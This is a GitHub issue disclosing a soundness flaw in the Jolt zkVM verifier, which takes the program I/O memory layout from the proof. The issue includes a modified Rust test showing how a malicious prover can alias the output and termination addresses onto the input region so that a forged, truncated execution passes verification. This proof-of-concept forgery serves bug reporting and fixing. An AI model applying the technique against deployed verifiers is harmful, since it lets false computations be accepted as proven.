Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prover can use arbitrary memory layout #490

Open
Merricx opened this issue Oct 24, 2024 · 0 comments
Open

Prover can use arbitrary memory layout #490

Merricx opened this issue Oct 24, 2024 · 0 comments
Assignees

Comments

@Merricx
Copy link

Merricx commented Oct 24, 2024

The Jolt verifier uses memory address of program I/O provided from the proof instead of constructing themselves.
This allows malicious prover to be able to set the memory address of the output, panic, or termination bit to the same address as the inputs, for example, to fake these values.

It can also bypass #482 since the termination bit can be easily set to true via inputs.

This attack can be reproduced in the modified truncated_trace test below:

    #[test]
    fn truncated_trace() {
        let artifact_guard = FIB_FILE_LOCK.lock().unwrap();
        let mut program = host::Program::new("fibonacci-guest");
        program.set_input(&1u8); // change input to 1 so that termination bit equal true
        let (bytecode, memory_init) = program.decode();
        let (mut io_device, mut trace) = program.trace();
        trace.truncate(100);
        // change the output to the same as input to show that we can also forge the output value
        io_device.outputs[0] = 1;
        drop(artifact_guard);

        // change memory address of output & termination bit to the same address as input
        io_device.memory_layout.output_start = io_device.memory_layout.input_start;
        io_device.memory_layout.output_end = io_device.memory_layout.input_end;
        io_device.memory_layout.termination = io_device.memory_layout.input_start;

        let preprocessing =
            RV32IJoltVM::preprocess(bytecode.clone(), memory_init, 1 << 20, 1 << 20, 1 << 20);
        let (proof, commitments, debug_info) =
            <RV32IJoltVM as Jolt<Fr, HyperKZG<Bn254>, C, M>>::prove(
                io_device,
                trace,
                preprocessing.clone(),
            );
        let verification_result =
            RV32IJoltVM::verify(preprocessing, proof, commitments, debug_info);
        assert!(
            verification_result.is_ok(),
            "Verification failed with error: {:?}",
            verification_result.err()
        );
    }

Run the test and it should pass the verification.

cargo test --package jolt-core --lib -- jolt::vm::rv32i_vm::tests::truncated_trace --exact --show-output

@sagar-a16z sagar-a16z self-assigned this Oct 24, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants